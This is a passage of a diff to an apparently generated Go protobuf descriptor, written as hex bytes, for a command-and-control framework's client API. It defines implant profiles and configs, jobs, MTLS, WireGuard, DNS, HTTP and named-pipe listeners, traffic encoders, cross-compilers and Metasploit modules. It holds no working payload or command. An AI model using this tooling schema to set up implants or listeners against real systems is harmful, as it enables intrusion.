0x08, 0x43, 0x61, 0x6e, - 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, - 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x22, 0x1c, 0x0a, 0x0a, 0x55, 0x6e, - 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x50, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x50, 0x22, 0x55, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, - 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2f, - 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, - 0x47, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, - 0x65, 0x73, 0x12, 0x34, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x08, - 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x22, 0x31, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x65, - 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, - 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, - 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x03, - 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, - 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, - 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, - 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, - 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, - 0x61, 0x69, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, - 0x69, 0x6e, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, - 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2d, 0x0a, 0x04, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x25, 0x0a, - 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x06, 0x41, 0x63, - 0x74, 0x69, 0x76, 0x65, 0x22, 0x1c, 0x0a, 0x0a, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, - 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, - 0x49, 0x44, 0x22, 0x33, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, - 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x18, 0x0a, - 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, - 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0x59, 0x0a, 0x0f, 0x4d, 0x54, 0x4c, 0x53, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, - 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, - 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x74, 0x22, 0x24, 0x0a, 0x0c, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x9d, 0x01, 0x0a, 0x0d, 0x57, 0x47, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, - 0x73, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, - 0x72, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, 0x14, 0x0a, 0x05, 0x4e, 0x50, 0x6f, 0x72, - 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, - 0x0a, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, - 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x22, 0x0a, 0x0a, 0x57, 0x47, 0x4c, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0xae, 0x01, 0x0a, - 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, - 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, - 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x61, 0x6e, - 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x43, 0x61, 0x6e, - 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, - 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, - 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x0a, - 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, 0x06, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x22, 0x23, 0x0a, - 0x0b, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, - 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, - 0x49, 0x44, 0x22, 0xf5, 0x02, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, - 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, - 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x12, 0x18, - 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, - 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, - 0x4b, 0x65, 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, - 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, - 0x4d, 0x45, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, - 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, - 0x54, 0x50, 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, - 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x4c, 0x6f, 0x6e, - 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x26, 0x0a, 0x0e, - 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x0c, - 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, - 0x74, 0x74, 0x65, 0x72, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, - 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x52, 0x61, 0x6e, - 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x22, 0x58, 0x0a, 0x0d, 0x4e, 0x61, - 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x50, - 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, - 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x32, 0x0a, 0x05, 0x54, 0x65, 0x73, 0x74, + 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x54, 0x65, 0x73, 0x74, 0x52, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x0d, + 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x0d, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, + 0x74, 0x73, 0x22, 0x66, 0x0a, 0x15, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2f, 0x0a, 0x06, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1c, 0x0a, 0x09, + 0x4f, 0x54, 0x50, 0x53, 0x65, 0x63, 0x72, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x09, 0x4f, 0x54, 0x50, 0x53, 0x65, 0x63, 0x72, 0x65, 0x74, 0x22, 0x79, 0x0a, 0x15, 0x45, 0x78, + 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, + 0x61, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, + 0x44, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, + 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xa4, 0x01, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, + 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x3e, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, + 0x73, 0x2e, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x1a, 0x53, 0x0a, 0x0c, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x6c, 0x0a, 0x0e, + 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, + 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, + 0x72, 0x6d, 0x61, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, + 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x22, 0x85, 0x01, 0x0a, 0x0d, 0x43, + 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, + 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x22, 0x0a, 0x0c, + 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, + 0x12, 0x16, 0x0a, 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x58, 0x58, 0x50, + 0x61, 0x74, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, + 0x74, 0x68, 0x22, 0xf5, 0x01, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, + 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, + 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x32, 0x0a, 0x07, 0x54, + 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, + 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, + 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, + 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, + 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, + 0x12, 0x48, 0x0a, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, + 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, + 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, + 0x74, 0x65, 0x64, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x22, 0x7e, 0x0a, 0x10, 0x4d, 0x65, + 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x12, 0x12, + 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x75, 0x6c, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x75, 0x6c, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, + 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x18, 0x0a, 0x07, 0x51, 0x75, 0x61, 0x6c, 0x69, 0x74, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x07, 0x51, 0x75, 0x61, 0x6c, 0x69, 0x74, 0x79, 0x22, 0xce, 0x01, 0x0a, 0x12, 0x4d, + 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, + 0x72, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x46, + 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x46, 0x6f, + 0x72, 0x6d, 0x61, 0x74, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x72, 0x63, 0x68, 0x73, 0x18, 0x03, + 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x41, 0x72, 0x63, 0x68, 0x73, 0x12, 0x36, 0x0a, 0x08, 0x45, + 0x6e, 0x63, 0x6f, 